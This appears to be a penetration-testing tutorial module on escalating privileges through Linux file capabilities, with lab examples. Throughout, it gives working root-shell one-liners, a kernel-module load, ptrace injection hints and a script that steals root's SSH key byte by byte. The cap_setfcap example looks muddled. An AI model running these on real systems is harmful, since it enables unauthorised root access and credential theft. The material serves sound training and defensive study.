Back to All Modules

Capabilities Abuse

#Overview

Linux capabilities divide root's monolithic power into distinct units that can be independently granted to binaries. A binary with dangerous capabilities (like cap_setuid+ep) can be leveraged for privilege escalation without needing a full SUID bit or sudo access. Capabilities were introduced to reduce the attack surface of SUID binaries -- but they create their own escalation paths.

#Prerequisites

  • User-level shell access
  • getcap or getfattr available on the system
  • Understanding of capability flags: +ep (effective and permitted)

#Detection & Enumeration

# List all files with capabilities (recursive)
getcap -r / 2>/dev/null

# Alternative using file attributes
getfattr -d -m "^security.capability" /path/to/binary 2>/dev/null

# Check capabilities on a specific binary
getcap /opt/scanner/scanner
# Output: /opt/scanner/scanner cap_dac_read_search=ep
# +ep = effective and permitted

# Common capabilities to watch for
# cap_setuid+ep       -- Can set UID to 0 (root)
# cap_setgid+ep       -- Can set GID to 0
# cap_net_raw+ep      -- Raw sockets (tcpdump, scapy)
# cap_sys_admin+ep    -- Mount, kernel modules, various admin
# cap_sys_ptrace+ep   -- ptrace other processes including root processes
# cap_sys_module+ep   -- Load/unload kernel modules
# cap_fowner+ep       -- Bypass file permission checks
# cap_dac_read_search+ep -- Read any file regardless of permissions
# cap_dac_override+ep    -- Bypass file read/write/execute checks
# cap_setfcap+ep      -- Set capabilities on files (create your own)
# cap_chown+ep        -- Change file ownership
# cap_net_admin+ep    -- Network admin operations
BASH

#Exploitation / Execution

#cap_setuid+ep -- Set UID to 0

# Python with cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid+ep
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
BASH

#cap_net_raw+ep -- Raw Socket Access

# Run tcpdump (normally requires root)
tcpdump -i eth0 -w capture.pcap

# Use scapy for packet crafting
python3 -c 'from scapy.all import *; ...'
BASH

#cap_sys_admin+ep -- System Administration

# Mount filesystems
mount -t tmpfs none /tmp/test
mount /dev/sda1 /mnt

# Load kernel modules (if combined with other caps)
insmod malicious.ko
BASH

#cap_dac_read_search+ep -- Read Any File

This allows reading files regardless of ownership/permissions. Used in Intentions to exfiltrate root's SSH key:

# The scanner binary with this capability can read any file
# Script to exfiltrate a sensitive file byte-by-byte via MD5 comparison
/opt/scanner/scanner -c /root/.ssh/id_rsa -h hash_blacklist -l 1

# Build a brute-force script that:
# 1. Creates a hash blacklist with all printable characters
# 2. Uses the scanner to compare each byte
# 3. Reconstructs the file one byte at a time
BASH

Real example from Intentions: The scanner binary had cap_dac_read_search=ep allowing it to read any file. A Python script was created to exfiltrate /root/.ssh/id_rsa one byte at a time by generating MD5 hashes of all printable characters and comparing against the scanner's partial hash output:

import string
import hashlib
import subprocess

base = ""
readFile = "/root/.ssh/id_rsa"

def writeFile(base):
    f = open("hash.log", "w")
    for character in string.printable:
        check = base + character
        checkHash = hashlib.md5(check.encode())
        md5 = checkHash.hexdigest()
        f.write(f"{md5}:{md5}\n")
    f.close()

# Run scanner with -l flag controlling bytes read
# /opt/scanner/scanner -c readFile -h hash.log -l len(base)+1
# Match output to reconstruct file character by character
PYTHON

#cap_sys_ptrace+ep -- Ptrace Any Process

# Attach to a root-owned process and inject shellcode
# Can read memory of any process including SSH agent, password manager, etc.

# Use gdb to attach to root process
gdb -p <PID_of_root_process>

# Or use a ptrace-based injection tool
BASH

#cap_setfcap+ep -- Set Capabilities on Files

# Escalate by giving a binary cap_setuid+ep
cp /bin/bash /tmp/rootbash
setcap cap_setuid+ep /tmp/rootbash
/tmp/rootbash -c 'python3 -c "import os; os.setuid(0); os.system(\"/bin/bash\")"'
BASH

#cap_chown+ep -- Change File Ownership

# Take ownership of /etc/passwd or /etc/shadow
cp /etc/passwd /tmp/passwd
# Then take ownership of original:
# (complex chaining required -- take ownership of a file writable by root
#  that gets executed, like a cron job or systemd service)
BASH

#Python/Perl with Capabilities

When a scripting language interpreter has capabilities:

# Check if python has capabilities
getcap $(which python3)
# /usr/bin/python3.8 cap_setuid+ep

# Direct root
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
BASH

#Common Pitfalls

  • getcap -r / is noisy on large filesystems -- redirect stderr: getcap -r / 2>/dev/null
  • Not all capabilities are immediately useful for privesc -- focus on the ones listed above
  • Capabilities on binaries may be inherited from parent processes (the +p flag matters)
  • The +e flag means the capability is in the "effective" set (immediately active); +i means "inheritable"
  • Some capabilities require multiple ones combined (e.g., loading kernel modules needs cap_sys_module + cap_sys_admin)

#OPSEC Considerations

  • getcap -r / is a read-only operation and very low noise.
  • Executing capability-enabled binaries generates audit logs but the initial capability check is stealthy.
  • The byte-by-byte exfiltration technique used with cap_dac_read_search is extremely slow and generates many process creation events.

#Post-Exploitation Value

Capability abuse can provide: root shell (cap_setuid), file read primitives (cap_dac_read_search), network monitoring (cap_net_raw), process memory access (cap_sys_ptrace), and filesystem manipulation (cap_sys_admin). The most common outcome is reading root's SSH key or directly spawning a root shell.

#Cross-References

#Tool References

ToolLink
getcapBuilt-in (libcap2-bin package)
setcapBuilt-in (libcap2-bin package)
GTFOBins (capabilities)https://gtfobins.github.io/#+capabilities

#Source Machines

  • Intentions (Hard, Linux) - cap_dac_read_search=ep on /opt/scanner/scanner used to byte-by-byte exfiltrate /root/.ssh/id_rsa